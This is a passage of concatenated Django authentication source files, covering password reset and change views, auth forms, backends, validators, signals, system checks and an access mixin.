        post_reset_redirect = reverse('password_reset_done')
    else:
        post_reset_redirect = resolve_url(post_reset_redirect)
    if request.method == "POST":
        form = password_reset_form(request.POST)
        if form.is_valid():
            opts = {
                'use_https': request.is_secure(),
                'token_generator': token_generator,
                'from_email': from_email,
                'email_template_name': email_template_name,
                'subject_template_name': subject_template_name,
                'request': request,
                'html_email_template_name': html_email_template_name,
                'extra_email_context': extra_email_context,
            }
            form.save(**opts)
            return HttpResponseRedirect(post_reset_redirect)
    else:
        form = password_reset_form()
    context = {
        'form': form,
        'title': _('Password reset'),
    }
    if extra_context is not None:
        context.update(extra_context)

    return TemplateResponse(request, template_name, context)


@deprecate_current_app
def password_reset_done(request,
                        template_name='registration/password_reset_done.html',
                        extra_context=None):
    warnings.warn("The password_reset_done() view is superseded by the "
                  "class-based PasswordResetDoneView().",
                  RemovedInDjango21Warning, stacklevel=2)
    context = {
        'title': _('Password reset sent'),
    }
    if extra_context is not None:
        context.update(extra_context)

    return TemplateResponse(request, template_name, context)


# Doesn't need csrf_protect since no-one can guess the URL
@sensitive_post_parameters()
@never_cache
@deprecate_current_app
def password_reset_confirm(request, uidb64=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           extra_context=None):
    """
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """
    warnings.warn("The password_reset_confirm() view is superseded by the "
                  "class-based PasswordResetConfirmView().",
                  RemovedInDjango21Warning, stacklevel=2)
    UserModel = get_user_model()
    assert uidb64 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('password_reset_complete')
    else:
        post_reset_redirect = resolve_url(post_reset_redirect)
    try:
        # urlsafe_base64_decode() decodes to bytestring on Python 3
        uid = force_text(urlsafe_base64_decode(uidb64))
        user = UserModel._default_manager.get(pk=uid)
    except (TypeError, ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        title = _('Enter new password')
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(user)
    else:
        validlink = False
        form = None
        title = _('Password reset unsuccessful')
    context = {
        'form': form,
        'title': title,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)

    return TemplateResponse(request, template_name, context)


@deprecate_current_app
def password_reset_complete(request,
                            template_name='registration/password_reset_complete.html',
                            extra_context=None):
    warnings.warn("The password_reset_complete() view is superseded by the "
                  "class-based PasswordResetCompleteView().",
                  RemovedInDjango21Warning, stacklevel=2)
    context = {
        'login_url': resolve_url(settings.LOGIN_URL),
        'title': _('Password reset complete'),
    }
    if extra_context is not None:
        context.update(extra_context)

    return TemplateResponse(request, template_name, context)


# Class-based password reset views
# - PasswordResetView sends the mail
# - PasswordResetDoneView shows a success message for the above
# - PasswordResetConfirmView checks the link the user clicked and
#   prompts for a new password
# - PasswordResetCompleteView shows a success message for the above

class PasswordContextMixin(object):
    extra_context = None

    def get_context_data(self, **kwargs):
        context = super(PasswordContextMixin, self).get_context_data(**kwargs)
        context['title'] = self.title
        if self.extra_context is not None:
            context.update(self.extra_context)
        return context


class PasswordResetView(PasswordContextMixin, FormView):
    email_template_name = 'registration/password_reset_email.html'
    extra_email_context = None
    form_class = PasswordResetForm
    from_email = None
    html_email_template_name = None
    subject_template_name = 'registration/password_reset_subject.txt'
    success_url = reverse_lazy('password_reset_done')
    template_name = 'registration/password_reset_form.html'
    title = _('Password reset')
    token_generator = default_token_generator

    @method_decorator(csrf_protect)
    def dispatch(self, *args, **kwargs):
        return super(PasswordResetView, self).dispatch(*args, **kwargs)

    def form_valid(self, form):
        opts = {
            'use_https': self.request.is_secure(),
            'token_generator': self.token_generator,
            'from_email': self.from_email,
            'email_template_name': self.email_template_name,
            'subject_template_name': self.subject_template_name,
            'request': self.request,
            'html_email_template_name': self.html_email_template_name,
            'extra_email_context': self.extra_email_context,
        }
        form.save(**opts)
        return super(PasswordResetView, self).form_valid(form)


class PasswordResetDoneView(PasswordContextMixin, TemplateView):
    template_name = 'registration/password_reset_done.html'
    title = _('Password reset sent')


class PasswordResetConfirmView(PasswordContextMixin, FormView):
    form_class = SetPasswordForm
    post_reset_login = False
    success_url = reverse_lazy('password_reset_complete')
    template_name = 'registration/password_reset_confirm.html'
    title = _('Enter new password')
    token_generator = default_token_generator

    @method_decorator(sensitive_post_parameters())
    @method_decorator(never_cache)
    def dispatch(self, *args, **kwargs):
        assert 'uidb64' in kwargs and 'token' in kwargs
        return super(PasswordResetConfirmView, self).dispatch(*args, **kwargs)

    def get_user(self, uidb64):
        UserModel = get_user_model()
        try:
            # urlsafe_base64_decode() decodes to bytestring on Python 3
            uid = force_text(urlsafe_base64_decode(uidb64))
            user = UserModel._default_manager.get(pk=uid)
        except (TypeError, ValueError, OverflowError, UserModel.DoesNotExist):
            user = None
        return user

    def get_form_kwargs(self):
        kwargs = super(PasswordResetConfirmView, self).get_form_kwargs()
        kwargs['user'] = self.get_user(self.kwargs['uidb64'])
        return kwargs

    def form_valid(self, form):
        user = form.save()
        if self.post_reset_login:
            auth_login(self.request, user)
        return super(PasswordResetConfirmView, self).form_valid(form)

    def get_context_data(self, **kwargs):
        context = super(PasswordResetConfirmView, self).get_context_data(**kwargs)
        user = context['form'].user
        if user is not None and self.token_generator.check_token(user, self.kwargs['token']):
            context['validlink'] = True
        else:
            context.update({
                'form': None,
                'title': _('Password reset unsuccessful'),
                'validlink': False,
            })
        return context


class PasswordResetCompleteView(PasswordContextMixin, TemplateView):
    template_name = 'registration/password_reset_complete.html'
    title = _('Password reset complete')

    def get_context_data(self, **kwargs):
        context = super(PasswordResetCompleteView, self).get_context_data(**kwargs)
        context['login_url'] = resolve_url(settings.LOGIN_URL)
        return context


@sensitive_post_parameters()
@csrf_protect
@login_required
@deprecate_current_app
def password_change(request,
                    template_name='registration/password_change_form.html',
                    post_change_redirect=None,
                    password_change_form=PasswordChangeForm,
                    extra_context=None):
    warnings.warn("The password_change() view is superseded by the "
                  "class-based PasswordChangeView().",
                  RemovedInDjango21Warning, stacklevel=2)
    if post_change_redirect is None:
        post_change_redirect = reverse('password_change_done')
    else:
        post_change_redirect = resolve_url(post_change_redirect)
    if request.method == "POST":
        form = password_change_form(user=request.user, data=request.POST)
        if form.is_valid():
            form.save()
            # Updating the password logs out all other sessions for the user
            # except the current one.
            update_session_auth_hash(request, form.user)
            return HttpResponseRedirect(post_change_redirect)
    else:
        form = password_change_form(user=request.user)
    context = {
        'form': form,
        'title': _('Password change'),
    }
    if extra_context is not None:
        context.update(extra_context)

    return TemplateResponse(request, template_name, context)


@login_required
@deprecate_current_app
def password_change_done(request,
                         template_name='registration/password_change_done.html',
                         extra_context=None):
    warnings.warn("The password_change_done() view is superseded by the "
                  "class-based PasswordChangeDoneView().",
                  RemovedInDjango21Warning, stacklevel=2)
    context = {
        'title': _('Password change successful'),
    }
    if extra_context is not None:
        context.update(extra_context)

    return TemplateResponse(request, template_name, context)


class PasswordChangeView(PasswordContextMixin, FormView):
    form_class = PasswordChangeForm
    success_url = reverse_lazy('password_change_done')
    template_name = 'registration/password_change_form.html'
    title = _('Password change')

    @method_decorator(sensitive_post_parameters())
    @method_decorator(csrf_protect)
    @method_decorator(login_required)
    def dispatch(self, *args, **kwargs):
        return super(PasswordChangeView, self).dispatch(*args, **kwargs)

    def get_form_kwargs(self):
        kwargs = super(PasswordChangeView, self).get_form_kwargs()
        kwargs['user'] = self.request.user
        return kwargs

    def form_valid(self, form):
        form.save()
        # Updating the password logs out all other sessions for the user
        # except the current one.
        update_session_auth_hash(self.request, form.user)
        return super(PasswordChangeView, self).form_valid(form)


class PasswordChangeDoneView(PasswordContextMixin, TemplateView):
    template_name = 'registration/password_change_done.html'
    title = _('Password change successful')

    @method_decorator(login_required)
    def dispatch(self, *args, **kwargs):
        return super(PasswordChangeDoneView, self).dispatch(*args, **kwargs)






from __future__ import unicode_literals

import unicodedata

from django import forms
from django.contrib.auth import (
    authenticate, get_user_model, password_validation,
)
from django.contrib.auth.hashers import (
    UNUSABLE_PASSWORD_PREFIX, identify_hasher,
)
from django.contrib.auth.models import User
from django.contrib.auth.tokens import default_token_generator
from django.contrib.sites.shortcuts import get_current_site
from django.core.mail import EmailMultiAlternatives
from django.forms.utils import flatatt
from django.template import loader
from django.utils.encoding import force_bytes
from django.utils.html import format_html, format_html_join
from django.utils.http import urlsafe_base64_encode
from django.utils.safestring import mark_safe
from django.utils.text import capfirst
from django.utils.translation import ugettext, ugettext_lazy as _


class ReadOnlyPasswordHashWidget(forms.Widget):
    def render(self, name, value, attrs):
        encoded = value
        final_attrs = self.build_attrs(attrs)

        if not encoded or encoded.startswith(UNUSABLE_PASSWORD_PREFIX):
            summary = mark_safe("<strong>%s</strong>" % ugettext("No password set."))
        else:
            try:
                hasher = identify_hasher(encoded)
            except ValueError:
                summary = mark_safe("<strong>%s</strong>" % ugettext(
                    "Invalid password format or unknown hashing algorithm."
                ))
            else:
                summary = format_html_join(
                    '', '<strong>{}</strong>: {} ',
                    ((ugettext(key), value) for key, value in hasher.safe_summary(encoded).items())
                )

        return format_html("<div{}>{}</div>", flatatt(final_attrs), summary)


class ReadOnlyPasswordHashField(forms.Field):
    widget = ReadOnlyPasswordHashWidget

    def __init__(self, *args, **kwargs):
        kwargs.setdefault("required", False)
        super(ReadOnlyPasswordHashField, self).__init__(*args, **kwargs)

    def bound_data(self, data, initial):
        # Always return initial because the widget doesn't
        # render an input field.
        return initial

    def has_changed(self, initial, data):
        return False


class UsernameField(forms.CharField):
    def to_python(self, value):
        return unicodedata.normalize('NFKC', super(UsernameField, self).to_python(value))


class UserCreationForm(forms.ModelForm):
    """
    A form that creates a user, with no privileges, from the given username and
    password.
    """
    error_messages = {
        'password_mismatch': _("The two password fields didn't match."),
    }
    password1 = forms.CharField(
        label=_("Password"),
        strip=False,
        widget=forms.PasswordInput,
    )
    password2 = forms.CharField(
        label=_("Password confirmation"),
        widget=forms.PasswordInput,
        strip=False,
        help_text=_("Enter the same password as before, for verification."),
    )

    class Meta:
        model = User
        fields = ("username",)
        field_classes = {'username': UsernameField}

    def __init__(self, *args, **kwargs):
        super(UserCreationForm, self).__init__(*args, **kwargs)
        self.fields[self._meta.model.USERNAME_FIELD].widget.attrs.update({'autofocus': ''})

    def clean_password2(self):
        password1 = self.cleaned_data.get("password1")
        password2 = self.cleaned_data.get("password2")
        if password1 and password2 and password1 != password2:
            raise forms.ValidationError(
                self.error_messages['password_mismatch'],
                code='password_mismatch',
            )
        self.instance.username = self.cleaned_data.get('username')
        password_validation.validate_password(self.cleaned_data.get('password2'), self.instance)
        return password2

    def save(self, commit=True):
        user = super(UserCreationForm, self).save(commit=False)
        user.set_password(self.cleaned_data["password1"])
        if commit:
            user.save()
        return user


class UserChangeForm(forms.ModelForm):
    password = ReadOnlyPasswordHashField(
        label=_("Password"),
        help_text=_(
            "Raw passwords are not stored, so there is no way to see this "
            "user's password, but you can change the password using "
            "<a href=\"../password/\">this form</a>."
        ),
    )

    class Meta:
        model = User
        fields = '__all__'
        field_classes = {'username': UsernameField}

    def __init__(self, *args, **kwargs):
        super(UserChangeForm, self).__init__(*args, **kwargs)
        f = self.fields.get('user_permissions')
        if f is not None:
            f.queryset = f.queryset.select_related('content_type')

    def clean_password(self):
        # Regardless of what the user provides, return the initial value.
        # This is done here, rather than on the field, because the
        # field does not have access to the initial value
        return self.initial["password"]


class AuthenticationForm(forms.Form):
    """
    Base class for authenticating users. Extend this to get a form that accepts
    username/password logins.
    """
    username = UsernameField(
        max_length=254,
        widget=forms.TextInput(attrs={'autofocus': ''}),
    )
    password = forms.CharField(
        label=_("Password"),
        strip=False,
        widget=forms.PasswordInput,
    )

    error_messages = {
        'invalid_login': _(
            "Please enter a correct %(username)s and password. Note that both "
            "fields may be case-sensitive."
        ),
        'inactive': _("This account is inactive."),
    }

    def __init__(self, request=None, *args, **kwargs):
        """
        The 'request' parameter is set for custom auth use by subclasses.
        The form data comes in via the standard 'data' kwarg.
        """
        self.request = request
        self.user_cache = None
        super(AuthenticationForm, self).__init__(*args, **kwargs)

        # Set the label for the "username" field.
        UserModel = get_user_model()
        self.username_field = UserModel._meta.get_field(UserModel.USERNAME_FIELD)
        if self.fields['username'].label is None:
            self.fields['username'].label = capfirst(self.username_field.verbose_name)

    def clean(self):
        username = self.cleaned_data.get('username')
        password = self.cleaned_data.get('password')

        if username is not None and password:
            self.user_cache = authenticate(username=username, password=password)
            if self.user_cache is None:
                raise forms.ValidationError(
                    self.error_messages['invalid_login'],
                    code='invalid_login',
                    params={'username': self.username_field.verbose_name},
                )
            else:
                self.confirm_login_allowed(self.user_cache)

        return self.cleaned_data

    def confirm_login_allowed(self, user):
        """
        Controls whether the given User may log in. This is a policy setting,
        independent of end-user authentication. This default behavior is to
        allow login by active users, and reject login by inactive users.

        If the given user cannot log in, this method should raise a
        ``forms.ValidationError``.

        If the given user may log in, this method should return None.
        """
        if not user.is_active:
            raise forms.ValidationError(
                self.error_messages['inactive'],
                code='inactive',
            )

    def get_user_id(self):
        if self.user_cache:
            return self.user_cache.id
        return None

    def get_user(self):
        return self.user_cache


class PasswordResetForm(forms.Form):
    email = forms.EmailField(label=_("Email"), max_length=254)

    def send_mail(self, subject_template_name, email_template_name,
                  context, from_email, to_email, html_email_template_name=None):
        """
        Sends a django.core.mail.EmailMultiAlternatives to `to_email`.
        """
        subject = loader.render_to_string(subject_template_name, context)
        # Email subject *must not* contain newlines
        subject = ''.join(subject.splitlines())
        body = loader.render_to_string(email_template_name, context)

        email_message = EmailMultiAlternatives(subject, body, from_email, [to_email])
        if html_email_template_name is not None:
            html_email = loader.render_to_string(html_email_template_name, context)
            email_message.attach_alternative(html_email, 'text/html')

        email_message.send()

    def get_users(self, email):
        """Given an email, return matching user(s) who should receive a reset.

        This allows subclasses to more easily customize the default policies
        that prevent inactive users and users with unusable passwords from
        resetting their password.
        """
        active_users = get_user_model()._default_manager.filter(
            email__iexact=email, is_active=True)
        return (u for u in active_users if u.has_usable_password())

    def save(self, domain_override=None,
             subject_template_name='registration/password_reset_subject.txt',
             email_template_name='registration/password_reset_email.html',
             use_https=False, token_generator=default_token_generator,
             from_email=None, request=None, html_email_template_name=None,
             extra_email_context=None):
        """
        Generates a one-use only link for resetting password and sends to the
        user.
        """
        email = self.cleaned_data["email"]
        for user in self.get_users(email):
            if not domain_override:
                current_site = get_current_site(request)
                site_name = current_site.name
                domain = current_site.domain
            else:
                site_name = domain = domain_override
            context = {
                'email': user.email,
                'domain': domain,
                'site_name': site_name,
                'uid': urlsafe_base64_encode(force_bytes(user.pk)),
                'user': user,
                'token': token_generator.make_token(user),
                'protocol': 'https' if use_https else 'http',
            }
            if extra_email_context is not None:
                context.update(extra_email_context)
            self.send_mail(
                subject_template_name, email_template_name, context, from_email,
                user.email, html_email_template_name=html_email_template_name,
            )


class SetPasswordForm(forms.Form):
    """
    A form that lets a user change set their password without entering the old
    password
    """
    error_messages = {
        'password_mismatch': _("The two password fields didn't match."),
    }
    new_password1 = forms.CharField(
        label=_("New password"),
        widget=forms.PasswordInput,
        strip=False,
        help_text=password_validation.password_validators_help_text_html(),
    )
    new_password2 = forms.CharField(
        label=_("New password confirmation"),
        strip=False,
        widget=forms.PasswordInput,
    )

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(SetPasswordForm, self).__init__(*args, **kwargs)

    def clean_new_password2(self):
        password1 = self.cleaned_data.get('new_password1')
        password2 = self.cleaned_data.get('new_password2')
        if password1 and password2:
            if password1 != password2:
                raise forms.ValidationError(
                    self.error_messages['password_mismatch'],
                    code='password_mismatch',
                )
        password_validation.validate_password(password2, self.user)
        return password2

    def save(self, commit=True):
        password = self.cleaned_data["new_password1"]
        self.user.set_password(password)
        if commit:
            self.user.save()
        return self.user


class PasswordChangeForm(SetPasswordForm):
    """
    A form that lets a user change their password by entering their old
    password.
    """
    error_messages = dict(SetPasswordForm.error_messages, **{
        'password_incorrect': _("Your old password was entered incorrectly. Please enter it again."),
    })
    old_password = forms.CharField(
        label=_("Old password"),
        strip=False,
        widget=forms.PasswordInput(attrs={'autofocus': ''}),
    )

    field_order = ['old_password', 'new_password1', 'new_password2']

    def clean_old_password(self):
        """
        Validates that the old_password field is correct.
        """
        old_password = self.cleaned_data["old_password"]
        if not self.user.check_password(old_password):
            raise forms.ValidationError(
                self.error_messages['password_incorrect'],
                code='password_incorrect',
            )
        return old_password


class AdminPasswordChangeForm(forms.Form):
    """
    A form used to change the password of a user in the admin interface.
    """
    error_messages = {
        'password_mismatch': _("The two password fields didn't match."),
    }
    required_css_class = 'required'
    password1 = forms.CharField(
        label=_("Password"),
        widget=forms.PasswordInput(attrs={'autofocus': ''}),
        strip=False,
        help_text=password_validation.password_validators_help_text_html(),
    )
    password2 = forms.CharField(
        label=_("Password (again)"),
        widget=forms.PasswordInput,
        strip=False,
        help_text=_("Enter the same password as before, for verification."),
    )

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(AdminPasswordChangeForm, self).__init__(*args, **kwargs)

    def clean_password2(self):
        password1 = self.cleaned_data.get('password1')
        password2 = self.cleaned_data.get('password2')
        if password1 and password2:
            if password1 != password2:
                raise forms.ValidationError(
                    self.error_messages['password_mismatch'],
                    code='password_mismatch',
                )
        password_validation.validate_password(password2, self.user)
        return password2

    def save(self, commit=True):
        """
        Saves the new password.
        """
        password = self.cleaned_data["password1"]
        self.user.set_password(password)
        if commit:
            self.user.save()
        return self.user

    def _get_changed_data(self):
        data = super(AdminPasswordChangeForm, self).changed_data
        for name in self.fields.keys():
            if name not in data:
                return []
        return ['password']
    changed_data = property(_get_changed_data)






# The views used below are normally mapped in django.contrib.admin.urls.py
# This URLs file is used to provide a reliable view deployment for test purposes.
# It is also provided as a convenience to those who want to deploy these URLs
# elsewhere.

from django.conf.urls import url
from django.contrib.auth import views

urlpatterns = [
    url(r'^login/$', views.LoginView.as_view(), name='login'),
    url(r'^logout/$', views.LogoutView.as_view(), name='logout'),

    url(r'^password_change/$', views.PasswordChangeView.as_view(), name='password_change'),
    url(r'^password_change/done/$', views.PasswordChangeDoneView.as_view(), name='password_change_done'),

    url(r'^password_reset/$', views.PasswordResetView.as_view(), name='password_reset'),
    url(r'^password_reset/done/$', views.PasswordResetDoneView.as_view(), name='password_reset_done'),
    url(r'^reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.PasswordResetConfirmView.as_view(), name='password_reset_confirm'),
    url(r'^reset/done/$', views.PasswordResetCompleteView.as_view(), name='password_reset_complete'),
]






from __future__ import unicode_literals

from django.contrib.auth import get_user_model
from django.contrib.auth.models import Permission


class ModelBackend(object):
    """
    Authenticates against settings.AUTH_USER_MODEL.
    """

    def authenticate(self, username=None, password=None, **kwargs):
        UserModel = get_user_model()
        if username is None:
            username = kwargs.get(UserModel.USERNAME_FIELD)
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            # Run the default password hasher once to reduce the timing
            # difference between an existing and a non-existing user (#20760).
            UserModel().set_password(password)
        else:
            if user.check_password(password) and self.user_can_authenticate(user):
                return user

    def user_can_authenticate(self, user):
        """
        Reject users with is_active=False. Custom user models that don't have
        that attribute are allowed.
        """
        is_active = getattr(user, 'is_active', None)
        return is_active or is_active is None

    def _get_user_permissions(self, user_obj):
        return user_obj.user_permissions.all()

    def _get_group_permissions(self, user_obj):
        user_groups_field = get_user_model()._meta.get_field('groups')
        user_groups_query = 'group__%s' % user_groups_field.related_query_name()
        return Permission.objects.filter(**{user_groups_query: user_obj})

    def _get_permissions(self, user_obj, obj, from_name):
        """
        Returns the permissions of `user_obj` from `from_name`. `from_name` can
        be either "group" or "user" to return permissions from
        `_get_group_permissions` or `_get_user_permissions` respectively.
        """
        if not user_obj.is_active or user_obj.is_anonymous or obj is not None:
            return set()

        perm_cache_name = '_%s_perm_cache' % from_name
        if not hasattr(user_obj, perm_cache_name):
            if user_obj.is_superuser:
                perms = Permission.objects.all()
            else:
                perms = getattr(self, '_get_%s_permissions' % from_name)(user_obj)
            perms = perms.values_list('content_type__app_label', 'codename').order_by()
            setattr(user_obj, perm_cache_name, set("%s.%s" % (ct, name) for ct, name in perms))
        return getattr(user_obj, perm_cache_name)

    def get_user_permissions(self, user_obj, obj=None):
        """
        Returns a set of permission strings the user `user_obj` has from their
        `user_permissions`.
        """
        return self._get_permissions(user_obj, obj, 'user')

    def get_group_permissions(self, user_obj, obj=None):
        """
        Returns a set of permission strings the user `user_obj` has from the
        groups they belong.
        """
        return self._get_permissions(user_obj, obj, 'group')

    def get_all_permissions(self, user_obj, obj=None):
        if not user_obj.is_active or user_obj.is_anonymous or obj is not None:
            return set()
        if not hasattr(user_obj, '_perm_cache'):
            user_obj._perm_cache = self.get_user_permissions(user_obj)
            user_obj._perm_cache.update(self.get_group_permissions(user_obj))
        return user_obj._perm_cache

    def has_perm(self, user_obj, perm, obj=None):
        if not user_obj.is_active:
            return False
        return perm in self.get_all_permissions(user_obj, obj)

    def has_module_perms(self, user_obj, app_label):
        """
        Returns True if user_obj has any permissions in the given app_label.
        """
        if not user_obj.is_active:
            return False
        for perm in self.get_all_permissions(user_obj):
            if perm[:perm.index('.')] == app_label:
                return True
        return False

    def get_user(self, user_id):
        UserModel = get_user_model()
        try:
            user = UserModel._default_manager.get(pk=user_id)
        except UserModel.DoesNotExist:
            return None
        return user if self.user_can_authenticate(user) else None


class AllowAllUsersModelBackend(ModelBackend):
    def user_can_authenticate(self, user):
        return True


class RemoteUserBackend(ModelBackend):
    """
    This backend is to be used in conjunction with the ``RemoteUserMiddleware``
    found in the middleware module of this package, and is used when the server
    is handling authentication outside of Django.

    By default, the ``authenticate`` method creates ``User`` objects for
    usernames that don't already exist in the database.  Subclasses can disable
    this behavior by setting the ``create_unknown_user`` attribute to
    ``False``.
    """

    # Create a User object if not already in the database?
    create_unknown_user = True

    def authenticate(self, remote_user):
        """
        The username passed as ``remote_user`` is considered trusted.  This
        method simply returns the ``User`` object with the given username,
        creating a new ``User`` object if ``create_unknown_user`` is ``True``.

        Returns None if ``create_unknown_user`` is ``False`` and a ``User``
        object with the given username is not found in the database.
        """
        if not remote_user:
            return
        user = None
        username = self.clean_username(remote_user)

        UserModel = get_user_model()

        # Note that this could be accomplished in one try-except clause, but
        # instead we use get_or_create when creating unknown users since it has
        # built-in safeguards for multiple threads.
        if self.create_unknown_user:
            user, created = UserModel._default_manager.get_or_create(**{
                UserModel.USERNAME_FIELD: username
            })
            if created:
                user = self.configure_user(user)
        else:
            try:
                user = UserModel._default_manager.get_by_natural_key(username)
            except UserModel.DoesNotExist:
                pass
        return user if self.user_can_authenticate(user) else None

    def clean_username(self, username):
        """
        Performs any cleaning on the "username" prior to using it to get or
        create the user object.  Returns the cleaned username.

        By default, returns the username unchanged.
        """
        return username

    def configure_user(self, user):
        """
        Configures a user after creation and returns the updated user.

        By default, returns the user unmodified.
        """
        return user


class AllowAllUsersRemoteUserBackend(RemoteUserBackend):
    def user_can_authenticate(self, user):
        return True






import re

from django.core import validators
from django.utils import six
from django.utils.deconstruct import deconstructible
from django.utils.translation import ugettext_lazy as _


@deconstructible
class ASCIIUsernameValidator(validators.RegexValidator):
    regex = r'^[\w.@+-]+$'
    message = _(
        'Enter a valid username. This value may contain only English letters, '
        'numbers, and @/./+/-/_ characters.'
    )
    flags = re.ASCII if six.PY3 else 0


@deconstructible
class UnicodeUsernameValidator(validators.RegexValidator):
    regex = r'^[\w.@+-]+$'
    message = _(
        'Enter a valid username. This value may contain only letters, '
        'numbers, and @/./+/-/_ characters.'
    )
    flags = re.UNICODE if six.PY2 else 0






from django.dispatch import Signal

user_logged_in = Signal(providing_args=['request', 'user'])
user_login_failed = Signal(providing_args=['credentials'])
user_logged_out = Signal(providing_args=['request', 'user'])






from django.apps import AppConfig
from django.core import checks
from django.db.models.signals import post_migrate
from django.utils.translation import ugettext_lazy as _

from .checks import check_models_permissions, check_user_model
from .management import create_permissions


class AuthConfig(AppConfig):
    name = 'django.contrib.auth'
    verbose_name = _("Authentication and Authorization")

    def ready(self):
        post_migrate.connect(
            create_permissions,
            dispatch_uid="django.contrib.auth.management.create_permissions"
        )
        checks.register(check_user_model, checks.Tags.models)
        checks.register(check_models_permissions, checks.Tags.models)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from itertools import chain

from django.apps import apps
from django.conf import settings
from django.core import checks
from django.utils import six

from .management import _get_builtin_permissions


def check_user_model(app_configs=None, **kwargs):
    if app_configs is None:
        cls = apps.get_model(settings.AUTH_USER_MODEL)
    else:
        app_label, model_name = settings.AUTH_USER_MODEL.split('.')
        for app_config in app_configs:
            if app_config.label == app_label:
                cls = app_config.get_model(model_name)
                break
        else:
            # Checks might be run against a set of app configs that don't
            # include the specified user model. In this case we simply don't
            # perform the checks defined below.
            return []

    errors = []

    # Check that REQUIRED_FIELDS is a list
    if not isinstance(cls.REQUIRED_FIELDS, (list, tuple)):
        errors.append(
            checks.Error(
                "'REQUIRED_FIELDS' must be a list or tuple.",
                obj=cls,
                id='auth.E001',
            )
        )

    # Check that the USERNAME FIELD isn't included in REQUIRED_FIELDS.
    if cls.USERNAME_FIELD in cls.REQUIRED_FIELDS:
        errors.append(
            checks.Error(
                "The field named as the 'USERNAME_FIELD' "
                "for a custom user model must not be included in 'REQUIRED_FIELDS'.",
                obj=cls,
                id='auth.E002',
            )
        )

    # Check that the username field is unique
    if not cls._meta.get_field(cls.USERNAME_FIELD).unique:
        if (settings.AUTHENTICATION_BACKENDS ==
                ['django.contrib.auth.backends.ModelBackend']):
            errors.append(
                checks.Error(
                    "'%s.%s' must be unique because it is named as the 'USERNAME_FIELD'." % (
                        cls._meta.object_name, cls.USERNAME_FIELD
                    ),
                    obj=cls,
                    id='auth.E003',
                )
            )
        else:
            errors.append(
                checks.Warning(
                    "'%s.%s' is named as the 'USERNAME_FIELD', but it is not unique." % (
                        cls._meta.object_name, cls.USERNAME_FIELD
                    ),
                    hint='Ensure that your authentication backend(s) can handle non-unique usernames.',
                    obj=cls,
                    id='auth.W004',
                )
            )

    if isinstance(cls().is_anonymous, six.types.MethodType):
        errors.append(
            checks.Critical(
                '%s.is_anonymous must be an attribute or property rather than '
                'a method. Ignoring this is a security issue as anonymous '
                'users will be treated as authenticated!' % cls,
                obj=cls,
                id='auth.C009',
            )
        )
    if isinstance(cls().is_authenticated, six.types.MethodType):
        errors.append(
            checks.Critical(
                '%s.is_authenticated must be an attribute or property rather '
                'than a method. Ignoring this is a security issue as anonymous '
                'users will be treated as authenticated!' % cls,
                obj=cls,
                id='auth.C010',
            )
        )
    return errors


def check_models_permissions(app_configs=None, **kwargs):
    if app_configs is None:
        models = apps.get_models()
    else:
        models = chain.from_iterable(app_config.get_models() for app_config in app_configs)

    Permission = apps.get_model('auth', 'Permission')
    permission_name_max_length = Permission._meta.get_field('name').max_length
    errors = []

    for model in models:
        opts = model._meta
        builtin_permissions = dict(_get_builtin_permissions(opts))
        # Check builtin permission name length.
        max_builtin_permission_name_length = (
            max(len(name) for name in builtin_permissions.values())
            if builtin_permissions else 0
        )
        if max_builtin_permission_name_length > permission_name_max_length:
            verbose_name_max_length = (
                permission_name_max_length - (max_builtin_permission_name_length - len(opts.verbose_name_raw))
            )
            errors.append(
                checks.Error(
                    "The verbose_name of model '%s.%s' must be at most %d characters "
                    "for its builtin permission names to be at most %d characters." % (
                        opts.app_label, opts.object_name, verbose_name_max_length, permission_name_max_length
                    ),
                    obj=model,
                    id='auth.E007',
                )
            )
        codenames = set()
        for codename, name in opts.permissions:
            # Check custom permission name length.
            if len(name) > permission_name_max_length:
                errors.append(
                    checks.Error(
                        "The permission named '%s' of model '%s.%s' is longer than %d characters." % (
                            name, opts.app_label, opts.object_name, permission_name_max_length
                        ),
                        obj=model,
                        id='auth.E008',
                    )
                )
            # Check custom permissions codename clashing.
            if codename in builtin_permissions:
                errors.append(
                    checks.Error(
                        "The permission codenamed '%s' clashes with a builtin permission "
                        "for model '%s.%s'." % (
                            codename, opts.app_label, opts.object_name
                        ),
                        obj=model,
                        id='auth.E005',
                    )
                )
            elif codename in codenames:
                errors.append(
                    checks.Error(
                        "The permission codenamed '%s' is duplicated for model '%s.%s'." % (
                            codename, opts.app_label, opts.object_name
                        ),
                        obj=model,
                        id='auth.E006',
                    )
                )
            codenames.add(codename)

    return errors






from django.conf import settings
from django.contrib.auth import REDIRECT_FIELD_NAME
from django.contrib.auth.views import redirect_to_login
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.utils import six
from django.utils.encoding import force_text


class AccessMixin(object):
    """
    Abstract CBV mixin that gives access mixins the same customizable
    functionality.
    """
    login_url = None
    permission_denied_message = ''
    raise_exception = False
    redirect_field_name = REDIRECT_FIELD_NAME

    def get_login_url(self):
        """
        Override this method to override the login_url attribute.
        """
        login_url = self.login_url or settings.LOGIN_URL
        if not login_url:
            raise ImproperlyConfigured(
                '{0} is missing the login_url attribute. Define {0}.login_url, settings.LOGIN_URL, or override '
                '{0}.get_login_url().'.format(self.__class__.__name__)
            )
        return force_text(login_url)

    def get_permission_denied_message(self):
        """
        Override this method to override the permission_denied_message attribute.
        """
        return self.permission_denied_message

    def get_redirect_field_name(self):
        """
        Override this method to override the redirect_field_name attribute.
        """
        return self.redirect_field_name

    def handle_no_permission(self):
        if self.raise_exception:
            raise PermissionDenied(self.get_permission_denied_message())
        return redirect_to_login(self.request.get_full_path(), self.get_login_url(), self.get_redirect_field_name())


